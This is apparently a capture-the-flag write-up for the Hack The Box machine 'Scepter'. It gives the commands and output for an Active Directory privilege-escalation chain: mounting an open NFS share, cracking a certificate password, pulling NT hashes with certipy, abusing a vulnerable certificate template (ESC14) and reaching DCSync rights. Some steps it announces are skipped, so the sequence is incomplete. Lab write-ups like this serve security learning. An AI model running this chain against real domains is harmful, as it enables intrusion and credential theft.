Scepter is a hard-difficulty machine from Hack The Box that deals initially with an exposed rpc endpoint that we can mount onto our machine providing us with keys and certificates to impersonate d.baker user. We’ll then abuse ForceChangePassword to get a.carter who can abuse ESC14 and get h.brown which will re-abuse the vulnerable template again to land access on p.adams who has DCSync privileges.
Scepter-info-card
Reconnaissance
We can see rpcbind on port 111 with nfs (network file system), then we can mount it :
┌──(kali㉿kali)-[~] └─$ showmount -e 10.10.11.65 Export list for 10.10.11.65: /helpdesk (everyone)
1 2 3 4 5 6 7 8 9 10 11
┌──(kali㉿kali)-[~/Hackthebox/Scepter] └─$ sudo mount -t nfs 10.10.11.65:/helpdesk nfs_share ┌──(kali㉿kali)-[~/Hackthebox/Scepter] └─$ sudo su ┌──(root㉿kali)-[/home/kali/Hackthebox/Scepter] └─# cd nfs_share ┌──(root㉿kali)-[/home/kali/Hackthebox/Scepter/nfs_share] └─# ls baker.crt baker.key clark.pfx lewis.pfx scott.pfx
We find the user baker‘s certs and keys, we can use openssl to create a certificate that we can use to auth as the user:
1 2 3 4 5 6 7 8 9 10
┌──(root㉿kali)-[/home/kali/Hackthebox/Scepter/nfs_share] └─# openssl pkcs12 -export -out d.baker.pfx -inkey baker.key -in baker.crt Enter pass phrase for baker.key: Enter pass phrase for baker.key: Enter pass phrase for baker.key: Could not find private key from -inkey file from baker.key 4087DAB95F7F0000:error:1608010C:STORE routines:ossl_store_handle_load_result:unsupported:../crypto/store/store_result.c:151: 4087DAB95F7F0000:error:07880109:common libcrypto routines:do_ui_passphrase:interrupted or cancelled:../crypto/passphrase.c:178: 4087DAB95F7F0000:error:1C80009F:Provider routines:epki2pki_decode:unable to get passphrase:../providers/implementations/encode_decode/decode_epki2pki.c:121:
But now we need a password for the pfx file, we can do so using pfx2john:
1 2 3 4 5 6 7 8 9 10 11 12
┌──(root㉿kali)-[/home/kali/Hackthebox/Scepter] └─# john -w=/usr/share/wordlists/rockyou.txt pfx_hash.txt Using default input encoding: UTF-8 Loaded 1 password hash (pfx, (.pfx, .p12) [PKCS#12 PBE (SHA1/SHA2) 128/128 AVX 4x]) Cost 1 (iteration count) is 2048 for all loaded hashes Cost 2 (mac-type [1:SHA1 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) is 256 for all loaded hashes Will run 4 OpenMP threads Press 'q' or Ctrl-C to abort, almost any other key for status newpassword (clark.pfx) 1g 0:00:00:00 DONE (2025-04-22 18:57) 2.040g/s 10448p/s 10448c/s 10448C/s Liverpool..babygrl Use the "--show" option to display all of the cracked passwords reliably Session completed.
And now we decrypt it:
1 2 3 4 5
┌──(root㉿kali)-[/home/kali/Hackthebox/Scepter/nfs_share] └─# openssl pkcs12 -export -out ../d.baker.pfx -inkey baker.key -in baker.crt Enter pass phrase for baker.key: Enter Export Password: Verifying - Enter Export Password:
The password is newpassword.
And now we can use that cert to authenticate as d.baker and get his hash:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
┌──(root㉿kali)-[/home/kali/Hackthebox/Scepter] └─# ntpdate scepter.htb 2025-04-23 03:00:43.437361 (+0000) +28805.743118 +/- 0.026259 scepter.htb 10.10.11.65 s1 no-leap CLOCK: time stepped by 28805.743118 ┌──(root㉿kali)-[/home/kali/Hackthebox/Scepter] └─# certipy-ad auth -pfx d.baker.pfx -dc-ip '10.10.11.65' -username 'd.baker' -domain 'scepter.htb' Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Using principal: [email protected] [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'd.baker.ccache' [*] Trying to retrieve NT hashfor'd.baker' [*] Got hashfor'[email protected]': aad3b435b51404eeaad3b435b51404ee:18b5fb0d99e7a475316213c15b6f22ce
Now we can start our enumeration using bloodhound-python:
┌──(kali㉿kali)-[~/Hackthebox/Scepter] └─$ bloodhound-python -u 'd.baker' --hashes ':18b5fb0d99e7a475316213c15b6f22ce' -ns 10.10.11.65 -d scepter.htb -c All --zip INFO: BloodHound.py for BloodHound LEGACY (BloodHound 4.2 and 4.3) INFO: Found AD domain: scepter.htb INFO: Getting TGT for user INFO: Connecting to LDAP server: dc01.scepter.htb INFO: Found 1 domains INFO: Found 1 domains in the forest INFO: Found 1 computers INFO: Connecting to LDAP server: dc01.scepter.htb INFO: Found 11 users INFO: Found 57 groups INFO: Found 2 gpos INFO: Found 3 ous INFO: Found 19 containers INFO: Found 0 trusts INFO: Starting computer enumeration with 10 workers INFO: Querying computer: dc01.scepter.htb INFO: Done in 00M 27S INFO: Compressing output into 20250423032837_bloodhound.zip
We can see that d.baker user can change a.carter’s password ForceChangePassword
┌──(kali㉿kali)-[~] └─$ certipy-ad req -username [email protected] -hashes 18b5fb0d99e7a475316213c15b6f22ce -ca scepter-DC01-CA -template StaffAccessCertificate Certipy v4.8.2 - by Oliver Lyak (ly4k)
[*] Requesting certificate via RPC [*] Successfully requested certificate [*] Request ID is 11 [*] Got certificate without identification [*] Certificate has no object SID [*] Saved certificate and private key to 'd.baker.pfx' ┌──(kali㉿kali)-[~] └─$ certipy-ad auth -pfx 'd.baker.pfx' -domain 'scepter.htb' -username 'p.adams' Certipy v4.8.2 - by Oliver Lyak (ly4k)
[!] Could not find identification in the provided certificate [*] Using principal: [email protected] [*] Trying to get TGT... [*] Got TGT [*] Saved credential cache to 'p.adams.ccache' [*] Trying to retrieve NT hashfor'p.adams' [*] Got hashfor'[email protected]': aad3b435b51404eeaad3b435b51404ee:1b925c524f447bb821a8789c4b118ce0
Now we can see that p.adams is a member of REPLICATION OPERATORS:
BloodHound
So we can directly dump credentials with him and get administrator access: (DcSync)